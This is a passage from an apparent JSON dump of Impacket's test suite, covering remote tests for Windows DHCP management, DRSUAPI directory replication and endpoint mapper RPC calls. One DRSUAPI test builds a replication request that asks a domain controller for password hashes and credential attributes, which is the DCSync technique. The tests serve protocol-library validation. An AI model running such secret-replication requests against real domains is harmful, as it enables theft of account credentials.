self.connect(iface_uuid=self.iface_uuid_v1)\n\n        with assertRaisesRegex(self, DCERPCException, \"ERROR_DHCP_JET_ERROR\"):\n            dhcpm.hDhcpGetClientInfoV4(dce, dhcpm.DHCP_SEARCH_INFO_TYPE.DhcpClientName, self.serverName + \"\\0\")\n\n        #ip = struct.unpack(\"!I\", socket.inet_aton(self.machine))[0]\n        #with assertRaisesRegex(self, DCERPCException, \"ERROR_DHCP_JET_ERROR\"):\n        #    dhcpm.hDhcpGetClientInfoV4(dce, dhcpm.DHCP_SEARCH_INFO_TYPE.DhcpClientIpAddress, ip)\n\n    def test_DhcpV4GetClientInfo(self):\n        dce, rpctransport = self.connect(iface_uuid=self.iface_uuid_v2)\n        request = dhcpm.DhcpV4GetClientInfo()\n        request['ServerIpAddress'] = NULL\n        request['SearchInfo']['SearchType'] = dhcpm.DHCP_SEARCH_INFO_TYPE.DhcpClientName\n        request['SearchInfo']['SearchInfo']['tag'] = dhcpm.DHCP_SEARCH_INFO_TYPE.DhcpClientName\n        request['SearchInfo']['SearchInfo']['ClientName'] = self.serverName + \"\\0\"\n        request.dump()\n\n        # The DHCP client is probably not created but if we received an invalid DHCP client error\n        # means the search info had no corresponding IPv4 lease records.\n        with assertRaisesRegex(self, DCERPCException, \"ERROR_DHCP_INVALID_DHCP_CLIENT\"):\n            dce.request(request)\n\n        #request['SearchInfo']['SearchType'] = dhcpm.DHCP_SEARCH_INFO_TYPE.DhcpClientIpAddress\n        #request['SearchInfo']['SearchInfo']['tag'] = dhcpm.DHCP_SEARCH_INFO_TYPE.DhcpClientIpAddress\n        #ip = struct.unpack(\"!I\", socket.inet_aton(self.machine))[0]\n        #request['SearchInfo']['SearchInfo']['ClientIpAddress'] = ip\n        #request.dump()\n\n        #with assertRaisesRegex(self, DCERPCException, \"ERROR_DHCP_INVALID_DHCP_CLIENT\"):\n        #    dce.request(request)\n\n    def test_hDhcpEnumSubnetClientsV5(self):\n        dce, rpctransport = self.connect(iface_uuid=self.iface_uuid_v2)\n\n        with assertRaisesRegex(self, DCERPCException, \"ERROR_NO_MORE_ITEMS\"):\n            dhcpm.hDhcpEnumSubnetClientsV5(dce)\n\n    def test_hDhcpGetOptionValueV5(self):\n        dce, rpctransport = self.connect(iface_uuid=self.iface_uuid_v2)\n        netId = self.machine.split('.')[:-1]\n        netId.append('0')\n        subnet_id = struct.unpack(\"!I\", socket.inet_aton('.'.join(netId)))[0]\n\n        with assertRaisesRegex(self, DCERPCException, \"ERROR_DHCP_SUBNET_NOT_PRESENT\"):\n            dhcpm.hDhcpGetOptionValueV5(dce, 3,\n                                        dhcpm.DHCP_FLAGS_OPTION_DEFAULT, NULL, NULL,\n                                        dhcpm.DHCP_OPTION_SCOPE_TYPE.DhcpSubnetOptions,\n                                        subnet_id)\n\n\n@pytest.mark.remote\n@pytest.mark.skip(reason=\"Disabled in Windows Server 2008 onwards\")\nclass DHCPMTestsSMBTransport(DHCPMTests, unittest.TestCase):\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR\n\n\n@pytest.mark.remote\n@pytest.mark.skip(reason=\"Disabled in Windows Server 2008 onwards\")\nclass DHCPMTestsSMBTransport64(DHCPMTests, unittest.TestCase):\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64\n\n\n@pytest.mark.remote\nclass DHCPMTestsTCPTransport(DHCPMTests, unittest.TestCase):\n    protocol = \"ncacn_ip_tcp\"\n    iface_uuid = dhcpm.MSRPC_UUID_DHCPSRV2\n    string_binding_formatting = DCERPCTests.STRING_BINDING_MAPPER\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR\n\n\n@pytest.mark.remote\nclass DHCPMTestsTCPTransport64(DHCPMTests, unittest.TestCase):\n    protocol = \"ncacn_ip_tcp\"\n    iface_uuid = dhcpm.MSRPC_UUID_DHCPSRV2\n    string_binding_formatting = DCERPCTests.STRING_BINDING_MAPPER\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64\n    \n    @pytest.mark.xfail(reason=\"NDRUNION without fields as in DhcpSubnetOptions is not implemented with NDR64\")\n    def test_hDhcpGetOptionValueV5(self):\n        super(DHCPMTestsTCPTransport64, self).test_hDhcpGetOptionValueV5()\n\n\n# Process command-line arguments.\nif __name__ == \"__main__\":\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dcerpc/test_drsuapi.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Tested so far:\n#   DRSBind\n#   (h)DRSDomainControllerInfo\n#   (h)DRSCrackNames\n#   DRSGetNT4ChangeLog\n#   DRSVerifyName\n#   DRSGetNCChanges\n# Not yet:\n#   DRSUnBind\n#\nfrom __future__ import division\nfrom __future__ import print_function\nimport pytest\nimport unittest\nfrom tests.dcerpc import DCERPCTests\n\nfrom impacket.dcerpc.v5 import drsuapi\nfrom impacket.dcerpc.v5.dtypes import NULL, LPWSTR\nfrom impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY\n\n\nclass DRSRTests(DCERPCTests):\n    iface_uuid = drsuapi.MSRPC_UUID_DRSUAPI\n    authn = True\n    authn_level = RPC_C_AUTHN_LEVEL_PKT_PRIVACY\n    string_binding = r\"ncacn_np:{0.machine}[\\PIPE\\lsass]\"\n\n    def bind(self, dce):\n        request = drsuapi.DRSBind()\n        request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID\n        drs = drsuapi.DRS_EXTENSIONS_INT()\n        drs['cb'] = len(drs) #- 4\n        drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | drsuapi.DRS_EXT_STRONG_ENCRYPTION\n        drs['SiteObjGuid'] = drsuapi.NULLGUID\n        drs['Pid'] = 0\n        drs['dwReplEpoch'] = 0\n        drs['dwFlagsExt'] = drsuapi.DRS_EXT_RECYCLE_BIN\n        drs['ConfigObjGUID'] = drsuapi.NULLGUID\n        drs['dwExtCaps'] = 0\n        request['pextClient']['cb'] = len(drs.getData())\n        request['pextClient']['rgb'] = list(drs.getData())\n        resp = dce.request(request)\n\n        # Let's dig into the answer to check the dwReplEpoch. This field should match the one we send as part of\n        # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data.\n        drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT()\n\n        # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right.\n        ppextServer = b''.join(resp['ppextServer']['rgb']) + b'\\x00' * (\n            len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb'])\n        drsExtensionsInt.fromString(ppextServer)\n\n        if drsExtensionsInt['dwReplEpoch'] != 0:\n            # Different epoch, we have to call DRSBind again\n            drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch']\n            request['pextClient']['cb'] = len(drs.getData())\n            request['pextClient']['rgb'] = list(drs.getData())\n            resp = dce.request(request)\n\n        resp2 = drsuapi.hDRSDomainControllerInfo(dce,  resp['phDrs'], self.domain, 2)\n        return resp['phDrs'], resp2['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']\n\n    def test_DRSBind(self):\n        dce, rpc_transport = self.connect()\n\n        request = drsuapi.DRSBind()\n        request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID\n        drs = drsuapi.DRS_EXTENSIONS_INT()\n        drs['cb'] = len(drs) - 4\n        drs['dwFlags'] = 0\n        drs['SiteObjGuid'] = drsuapi.NULLGUID\n        drs['Pid'] = 0x1234\n        drs['dwReplEpoch'] = 0\n        drs['dwFlagsExt'] = drsuapi.DRS_EXT_RECYCLE_BIN\n        drs['ConfigObjGUID'] = drsuapi.NULLGUID\n        drs['dwExtCaps'] = 0\n        request['pextClient']['cb'] = len(drs)\n        request['pextClient']['rgb'] = list(drs.getData())\n        resp = dce.request(request)\n        resp.dump()\n\n        extension = drsuapi.DRS_EXTENSIONS_INT(b'\\x00'*4 + b''.join(resp['ppextServer']['rgb'])+b'\\x00'*4)\n        extension.dump()\n\n    def test_DRSDomainControllerInfo(self):\n        dce, rpc_transport = self.connect()\n        hDrs, DsaObjDest = self.bind(dce)\n\n        request = drsuapi.DRSDomainControllerInfo()\n        request['hDrs'] = hDrs\n        request['dwInVersion'] = 1\n\n        request['pmsgIn']['tag'] = 1\n        request['pmsgIn']['V1']['Domain'] = self.domain + '\\x00'\n        request['pmsgIn']['V1']['InfoLevel'] = 1\n\n        resp = dce.request(request)\n        resp.dump()\n\n        request['pmsgIn']['V1']['InfoLevel'] = 2\n        resp = dce.request(request)\n        resp.dump()\n\n        request['pmsgIn']['V1']['InfoLevel'] = 3\n        resp = dce.request(request)\n        resp.dump()\n\n        request['pmsgIn']['V1']['InfoLevel'] = 0xffffffff\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hDRSDomainControllerInfo(self):\n        dce, rpc_transport = self.connect()\n        hDrs, DsaObjDest = self.bind(dce)\n\n        resp = drsuapi.hDRSDomainControllerInfo(dce, hDrs, self.domain, 1)\n        resp.dump()\n\n        resp = drsuapi.hDRSDomainControllerInfo(dce, hDrs, self.domain, 2)\n        resp.dump()\n\n        resp = drsuapi.hDRSDomainControllerInfo(dce, hDrs, self.domain, 3)\n        resp.dump()\n\n        resp = drsuapi.hDRSDomainControllerInfo(dce, hDrs, self.domain, 0xffffffff)\n        resp.dump()\n\n    def test_DRSCrackNames(self):\n        dce, rpc_transport = self.connect()\n        hDrs, DsaObjDest = self.bind(dce)\n\n        request = drsuapi.DRSCrackNames()\n        request['hDrs'] = hDrs\n        request['dwInVersion'] = 1\n\n        request['pmsgIn']['tag'] = 1\n        request['pmsgIn']['V1']['CodePage'] = 0\n        request['pmsgIn']['V1']['LocaleId'] = 0\n        request['pmsgIn']['V1']['dwFlags'] = 0\n        request['pmsgIn']['V1']['formatOffered'] = drsuapi.DS_NT4_ACCOUNT_NAME_SANS_DOMAIN\n        request['pmsgIn']['V1']['formatDesired'] = drsuapi.DS_USER_PRINCIPAL_NAME_FOR_LOGON\n        request['pmsgIn']['V1']['cNames'] = 1\n        name = LPWSTR()\n        #name['Data'] = 'FREEFLY-DC\\x00'\n        #name['Data'] = 'CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=FREEFLY,DC=NET\\x00'\n        #name['Data'] = 'CN=FREEFLY-DC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=FREEFLY,DC=NET\\x00'\n        name['Data'] = 'Administrator\\x00'\n        request['pmsgIn']['V1']['rpNames'].append(name)\n\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hDRSCrackNames(self):\n        dce, rpc_transport = self.connect()\n        hDrs, DsaObjDest = self.bind(dce)\n\n        name = 'Administrator'\n        formatOffered = drsuapi.DS_NT4_ACCOUNT_NAME_SANS_DOMAIN\n        formatDesired = drsuapi.DS_STRING_SID_NAME\n\n        resp = drsuapi.hDRSCrackNames(dce, hDrs, 0, formatOffered, formatDesired, (name,))\n        resp.dump()\n\n        name = 'CN=NTDS Settings,CN=DC1-WIN2012,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=%s,DC=%s' % (self.domain.split('.')[0],self.domain.split('.')[1])\n        resp = drsuapi.hDRSCrackNames(dce, hDrs, 0, drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME, (name,))\n        resp.dump()\n\n        name = 'CN=NTDS Settings,CN=DC1-WIN2012,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=%s,DC=%s' % (self.domain.split('.')[0],self.domain.split('.')[1])\n        resp = drsuapi.hDRSCrackNames(dce, hDrs, 0, drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, drsuapi.DS_STRING_SID_NAME, (name,))\n        resp.dump()\n\n        name = self.domain.upper()\n        #name = ''\n        resp = drsuapi.hDRSCrackNames(dce, hDrs, 0, drsuapi.DS_LIST_ROLES, drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, (name,))\n        resp.dump()\n\n    def test_DRSGetNT4ChangeLog(self):\n        dce, rpc_transport = self.connect()\n        hDrs, DsaObjDest = self.bind(dce)\n\n        request = drsuapi.DRSGetNT4ChangeLog()\n        request['hDrs'] = hDrs\n        request['dwInVersion'] = 1\n\n        request['pmsgIn']['tag'] = 1\n        request['pmsgIn']['V1']['dwFlags'] = drsuapi.DRS_NT4_CHGLOG_GET_CHANGE_LOG | drsuapi.DRS_NT4_CHGLOG_GET_SERIAL_NUMBERS\n        request['pmsgIn']['V1']['PreferredMaximumLength'] = 0x4000\n        request['pmsgIn']['V1']['cbRestart'] = 0\n        request['pmsgIn']['V1']['pRestart'] = NULL\n\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except Exception as e:\n            if str(e).find('ERROR_NOT_SUPPORTED') <0:\n                raise\n\n    def test_DRSVerifyNames(self):\n        dce, rpc_transport = self.connect()\n        hDrs, DsaObjDest = self.bind(dce)\n\n        request = drsuapi.DRSVerifyNames()\n        request['hDrs'] = hDrs\n        request['dwInVersion'] = 1\n\n        request['pmsgIn']['tag'] = 1\n        request['pmsgIn']['V1']['dwFlags'] = drsuapi.DRS_VERIFY_DSNAMES\n        request['pmsgIn']['V1']['cNames'] = 1\n        request['pmsgIn']['V1']['PrefixTable']['pPrefixEntry'] = NULL\n\n        dsName = drsuapi.PDSNAME()\n        dsName['SidLen'] = 0\n        dsName['Guid'] = drsuapi.NULLGUID\n        dsName['Sid'] = ''\n        name = 'DC=%s,DC=%s' % (self.domain.split('.')[0], self.domain.split('.')[1])\n\n        dsName['NameLen'] = len(name)\n        dsName['StringName'] = (name + '\\x00')\n        dsName['structLen'] = len(dsName.getDataReferent())-4\n\n        request['pmsgIn']['V1']['rpNames'].append(dsName)\n\n        resp = dce.request(request)\n        resp.dump()\n\n    @pytest.mark.xfail\n    def test_DRSGetNCChanges(self):\n        dce, rpc_transport = self.connect()\n        hDrs, DsaObjDest = self.bind(dce)\n\n        request = drsuapi.DRSGetNCChanges()\n        request['hDrs'] = hDrs\n        request['dwInVersion'] = 8\n\n        request['pmsgIn']['tag'] = 8\n        request['pmsgIn']['V8']['uuidDsaObjDest'] = DsaObjDest\n        request['pmsgIn']['V8']['uuidInvocIdSrc'] = DsaObjDest\n        #request['pmsgIn']['V8']['pNC'] = NULL\n\n        dsName = drsuapi.DSNAME()\n        dsName['SidLen'] = 0\n        dsName['Guid'] = drsuapi.NULLGUID\n        dsName['Sid'] = ''\n        name = 'DC=%s,DC=%s' % (self.domain.split('.')[0], self.domain.split('.')[1])\n        dsName['NameLen'] = len(name)\n        dsName['StringName'] = (name + '\\x00')\n\n        dsName['structLen'] = len(dsName.getData())\n\n        request['pmsgIn']['V8']['pNC'] = dsName\n\n        request['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0\n        request['pmsgIn']['V8']['usnvecFrom']['usnHighPropUpdate'] = 0\n\n        request['pmsgIn']['V8']['pUpToDateVecDest'] = NULL\n\n        request['pmsgIn']['V8']['ulFlags'] =  drsuapi.DRS_INIT_SYNC | drsuapi.DRS_PER_SYNC  #| drsuapi.DRS_CRITICAL_ONLY\n        request['pmsgIn']['V8']['cMaxObjects'] = 100\n        request['pmsgIn']['V8']['cMaxBytes'] = 0\n        request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ | drsuapi.EXOP_REPL_SECRETS\n\n        prefixTable = []\n        oid1 = drsuapi.MakeAttid(prefixTable, '1.2.840.113556.1.4.656') # principalName\n        oid2 = drsuapi.MakeAttid(prefixTable, '1.2.840.113556.1.4.221') #'sAMAccountName'\n        oid3 = drsuapi.MakeAttid(prefixTable, '1.2.840.113556.1.4.90') # 'unicodePwd'\n        oid4 = drsuapi.MakeAttid(prefixTable, '1.2.840.113556.1.4.94') # ntPwdHistory\n        oid5 = drsuapi.MakeAttid(prefixTable, '1.2.840.113556.1.4.160') # lmPwdHistory\n        oid6 = drsuapi.MakeAttid(prefixTable, '1.2.840.113556.1.4.125') # supplementalCreds\n        oid7 = drsuapi.MakeAttid(prefixTable, '1.2.840.113556.1.4.146') # objectSid\n\n        request['pmsgIn']['V8']['pPartialAttrSet']['dwVersion'] = 1\n        request['pmsgIn']['V8']['pPartialAttrSet']['cAttrs'] = 7\n        request['pmsgIn']['V8']['pPartialAttrSet']['rgPartialAttr'].append(oid1)\n        request['pmsgIn']['V8']['pPartialAttrSet']['rgPartialAttr'].append(oid2)\n        request['pmsgIn']['V8']['pPartialAttrSet']['rgPartialAttr'].append(oid3)\n        request['pmsgIn']['V8']['pPartialAttrSet']['rgPartialAttr'].append(oid4)\n        request['pmsgIn']['V8']['pPartialAttrSet']['rgPartialAttr'].append(oid5)\n        request['pmsgIn']['V8']['pPartialAttrSet']['rgPartialAttr'].append(oid6)\n        request['pmsgIn']['V8']['pPartialAttrSet']['rgPartialAttr'].append(oid7)\n        request['pmsgIn']['V8']['pPartialAttrSetEx1'] = NULL\n        request['pmsgIn']['V8']['PrefixTableDest']['PrefixCount'] = len(prefixTable)\n        request['pmsgIn']['V8']['PrefixTableDest']['pPrefixEntry'] = prefixTable\n\n        resp = dce.request(request)\n        resp.dump()\n\n        #moreData = 1\n        #while moreData > 0:\n        #    thisObject = resp['pmsgOut']['V6']['pObjects']\n        #    done = False\n        #    while not done:\n        #        nextObject = thisObject['pNextEntInf']\n        #        thisObject['pNextEntInf'] = NULL\n        #        thisObject.dump()\n        #        print thisObject['Entinf']['pName']['StringName']\n        #        thisObject = nextObject\n        #        if nextObject == '':\n        #            done = True\n        #    request['pmsgIn']['V8']['uuidInvocIdSrc'] = resp['pmsgOut']['V6']['uuidInvocIdSrc']\n        #    request['pmsgIn']['V8']['usnvecFrom'] = resp['pmsgOut']['V6']['usnvecTo']\n        #    resp = dce.request(request)\n        #    moreData = resp['pmsgOut']['V6']['fMoreData']\n        #print \"OBJECTS \", resp['pmsgOut']['V6']['cNumObjects']\n\n    def getMoreData(self, dce, request, resp):\n        while resp['pmsgOut']['V6']['fMoreData'] > 0:\n            #thisObject = resp['pmsgOut']['V6']['pObjects']\n            #done = False\n            #while not done:\n            #    nextObject = thisObject['pNextEntInf']\n            #    thisObject['pNextEntInf'] = NULL\n                #thisObject.dump()\n                #print '\\n'\n                #print thisObject['Entinf']['pName']['StringName']\n            #    thisObject = nextObject\n            #    if nextObject == '':\n            #        done = True\n\n            request['pmsgIn']['V10']['uuidInvocIdSrc'] = resp['pmsgOut']['V6']\n            request['pmsgIn']['V10']['usnvecFrom'] = resp['pmsgOut']['V6']['usnvecTo']\n            resp = dce.request(request)\n            resp.dump()\n            print('\\n')\n\n    @pytest.mark.xfail\n    def test_DRSGetNCChanges2(self):\n        dce, rpc_transport = self.connect()\n        hDrs, DsaObjDest = self.bind(dce)\n\n        request = drsuapi.DRSGetNCChanges()\n        request['hDrs'] = hDrs\n        request['dwInVersion'] = 10\n\n        request['pmsgIn']['tag'] =10\n        request['pmsgIn']['V10']['uuidDsaObjDest'] = DsaObjDest\n        request['pmsgIn']['V10']['uuidInvocIdSrc'] = drsuapi.NULLGUID\n        #request['pmsgIn']['V10']['pNC'] = NULL\n\n        dsName = drsuapi.DSNAME()\n        dsName['SidLen'] = 0\n        dsName['Guid'] = drsuapi.NULLGUID\n        dsName['Sid'] = ''\n\n        name = 'CN=Schema,CN=Configuration,DC=%s,DC=%s' % (self.domain.split('.')[0], self.domain.split('.')[1])\n        dsName['NameLen'] = len(name)\n        dsName['StringName'] = (name + '\\x00')\n\n        dsName['structLen'] = len(dsName.getData())\n\n        request['pmsgIn']['V10']['pNC'] = dsName\n\n        request['pmsgIn']['V10']['usnvecFrom']['usnHighObjUpdate'] = 0\n        request['pmsgIn']['V10']['usnvecFrom']['usnHighPropUpdate'] = 0\n\n        request['pmsgIn']['V10']['pUpToDateVecDest'] = NULL\n\n        request['pmsgIn']['V10']['ulFlags'] =  drsuapi.DRS_INIT_SYNC | drsuapi.DRS_PER_SYNC  | drsuapi.DRS_WRIT_REP | drsuapi.DRS_FULL_SYNC_NOW\n        request['pmsgIn']['V10']['cMaxObjects'] = 100\n        request['pmsgIn']['V10']['cMaxBytes'] = 0\n        request['pmsgIn']['V10']['ulExtendedOp'] = 0\n        request['pmsgIn']['V10']['pPartialAttrSet'] = NULL\n        request['pmsgIn']['V10']['pPartialAttrSetEx1'] = NULL\n        request['pmsgIn']['V10']['PrefixTableDest']['pPrefixEntry'] = NULL\n        #request['pmsgIn']['V10']['ulMoreFlags'] = 0\n        resp = dce.request(request)\n        print(resp['pmsgOut']['V6']['pNC']['StringName'])\n        resp.dump()\n        print('\\n')\n        self.getMoreData(dce, request, resp)\n\n        dsName = drsuapi.DSNAME(isNDR64=request._isNDR64)\n        dsName['SidLen'] = 0\n        dsName['Guid'] = drsuapi.NULLGUID\n        dsName['Sid'] = ''\n\n        name = 'DC=%s,DC=%s' % (self.domain.split('.')[0], self.domain.split('.')[1])\n        dsName['NameLen'] = len(name)\n        dsName['StringName'] = (name + '\\x00')\n\n        dsName['structLen'] = len(dsName.getData())\n\n        request['pmsgIn']['V10']['pNC'] = dsName\n        resp = dce.request(request)\n        print(resp['pmsgOut']['V6']['pNC']['StringName'])\n        resp.dump()\n        print('\\n')\n        self.getMoreData(dce, request, resp)\n\n        dsName = drsuapi.DSNAME(isNDR64=request._isNDR64)\n        dsName['SidLen'] = 0\n        dsName['Guid'] = drsuapi.NULLGUID\n        dsName['Sid'] = ''\n\n        name = 'CN=Configuration,DC=%s,DC=%s' % (self.domain.split('.')[0],self.domain.split('.')[1])\n        dsName['NameLen'] = len(name)\n        dsName['StringName'] = (name + '\\x00')\n\n        dsName['structLen'] = len(dsName.getData())\n\n        request['pmsgIn']['V10']['pNC'] = dsName\n        resp = dce.request(request)\n        print(resp['pmsgOut']['V6']['pNC']['StringName'])\n        resp.dump()\n        print('\\n')\n        self.getMoreData(dce, request, resp)\n\n        #while resp['pmsgOut']['V6']['fMoreData'] > 0:\n        #    thisObject = resp['pmsgOut']['V6']['pObjects']\n        #    done = False\n        #    while not done:\n        #        nextObject = thisObject['pNextEntInf']\n        #        thisObject['pNextEntInf'] = NULL\n        #        #thisObject.dump()\n        #        #print '\\n'\n        #        #print thisObject['Entinf']['pName']['StringName']\n        #        thisObject = nextObject\n        #        if nextObject == '':\n        #            done = True\n#\n#            print \"B\"*80\n#            request['pmsgIn']['V10']['uuidInvocIdSrc'] = resp['pmsgOut']['V6']\n#            request['pmsgIn']['V10']['usnvecFrom'] = resp['pmsgOut']['V6']['usnvecTo']\n#            resp = dce.request(request)\n\n\n@pytest.mark.remote\nclass DRSRTestsSMBTransport(DRSRTests, unittest.TestCase):\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR\n\n\n@pytest.mark.remote\nclass DRSRTestsSMBTransport64(DRSRTests, unittest.TestCase):\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64\n\n\n@pytest.mark.remote\nclass DRSRTestsTCPTransport(DRSRTests, unittest.TestCase):\n    protocol = \"ncacn_ip_tcp\"\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR\n    string_binding_formatting = DCERPCTests.STRING_BINDING_MAPPER\n\n\n@pytest.mark.remote\nclass DRSRTestsTCPTransport64(DRSRTests, unittest.TestCase):\n    protocol = \"ncacn_ip_tcp\"\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64\n    string_binding_formatting = DCERPCTests.STRING_BINDING_MAPPER\n\n\n# Process command-line arguments.\nif __name__ == \"__main__\":\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dcerpc/test_epm.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Tested so far:\n#   (h)ept_lookup\n#   (h)ept_map\n#\nfrom __future__ import division\nfrom __future__ import print_function\nimport socket\nimport pytest\nimport unittest\nfrom tests.dcerpc import DCERPCTests\n\nfrom impacket.dcerpc.v5 import epm\nfrom impacket.dcerpc.v5.ndr import NULL\nfrom impacket.uuid import string_to_bin, uuidtup_to_bin\n\n\nclass EPMTests(DCERPCTests):\n    iface_uuid = epm.MSRPC_UUID_PORTMAP\n    string_binding = r\"ncacn_np:{0.machine}[\\pipe\\epmapper]\"\n    authn = True\n\n    def test_lookup(self):\n        dce, rpctransport = self.connect()\n        request = epm.ept_lookup()\n        request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS\n        request['object'] = NULL\n        request['Ifid'] = NULL\n        request['vers_option'] = epm.RPC_C_VERS_ALL\n        request['max_ents'] = 499\n      \n        resp = dce.request(request)\n        for entry in resp['entries']:\n            tower = entry['tower']['tower_octet_string']\n            epm.EPMTower(b''.join(tower))\n\n    def test_hlookup(self):\n        epm.hept_lookup(self.machine)\n        MSRPC_UUID_SAMR = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AC', '1.0'))\n        epm.hept_lookup(self.machine, inquiry_type=epm.RPC_C_EP_MATCH_BY_IF, ifId=MSRPC_UUID_SAMR)\n        MSRPC_UUID_ATSVC = uuidtup_to_bin(('1FF70682-0A51-30E8-076D-740BE8CEE98B', '1.0'))\n        epm.hept_lookup(self.machine, inquiry_type=epm.RPC_C_EP_MATCH_BY_IF, ifId=MSRPC_UUID_ATSVC)\n        MSRPC_UUID_SCMR = uuidtup_to_bin(('367ABB81-9844-35F1-AD32-98F038001003', '2.0'))\n        epm.hept_lookup(self.machine, inquiry_type=epm.RPC_C_EP_MATCH_BY_IF, ifId=MSRPC_UUID_SCMR)\n\n    def test_map(self):\n        dce, rpctransport = self.connect()\n        tower = epm.EPMTower()\n        interface = epm.EPMRPCInterface()\n        interface['InterfaceUUID'] = string_to_bin('12345778-1234-ABCD-EF00-0123456789AC')\n        interface['MajorVersion'] = 1\n        interface['MinorVersion'] = 0\n\n        dataRep = epm.EPMRPCDataRepresentation()\n        dataRep['DataRepUuid'] = string_to_bin('8a885d04-1ceb-11c9-9fe8-08002b104860')\n        dataRep['MajorVersion'] = 2\n        dataRep['MinorVersion'] = 0\n\n        protId = epm.EPMProtocolIdentifier()\n        protId['ProtIdentifier'] = 0xb\n\n        pipeName = epm.EPMPipeName()\n        pipeName['PipeName'] = b'\\x00'\n\n        portAddr = epm.EPMPortAddr()\n        portAddr['IpPort'] = 0\n\n        hostAddr = epm.EPMHostAddr()\n        hostAddr['Ip4addr'] = socket.inet_aton('0.0.0.0')\n\n        hostName = epm.EPMHostName()\n        hostName['HostName'] = b'\\x00'\n\n        tower['NumberOfFloors'] = 5\n        tower['Floors'] = interface.getData() + dataRep.getData() + protId.getData() + portAddr.getData() + hostAddr.getData()\n        request = epm.ept_map()\n        request['max_towers'] = 4\n        request['map_tower']['tower_length'] = len(tower)\n        request['map_tower']['tower_octet_string'] = tower.getData()\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hept_map(self):\n        MSRPC_UUID_SAMR = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AC', '1.0'))\n        epm.hept_map(self.machine, MSRPC_UUID_SAMR)\n        epm.hept_map(self.machine, MSRPC_UUID_SAMR, protocol='ncacn_ip_tcp')\n        MSRPC_UUID_ATSVC = uuidtup_to_bin(('1FF70682-0A51-30E8-076D-740BE8CEE98B', '1.0'))\n        epm.hept_map(self.machine, MSRPC_UUID_ATSVC)\n        MSRPC_UUID_SCMR = uuidtup_to_bin(('367ABB81-9844-35F1-AD32-98F038001003', '2.0'))\n        epm.hept_map(self.machine, MSRPC_UUID_SCMR, protocol='ncacn_ip_tcp')\n\n\n@pytest.mark.remote\nclass EPMTestsSMBTransport(EPMTests, unittest.TestCase):\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR\n\n\n@pytest.mark.remote\nclass EPMTestsSMBTransport64(EPMTests, unittest.TestCase):\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64\n\n\n@pytest.mark.remote\nclass EPMTestsTCPTransport(EPMTests, unittest.TestCase):\n    string_binding = r\"ncacn_ip_tcp:{0.machine}[135]\"\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR\n\n\n@pytest.mark.remote\nclass EPMTestsTCPTransport64(EPMTests, unittest.TestCase):\n    string_binding = r\"ncacn_ip_tcp:{0.machine}[135]\"\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64\n\n\n# Process command-line arguments.\nif __name__ == \"__main__\":\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dcerpc/test_even.py",
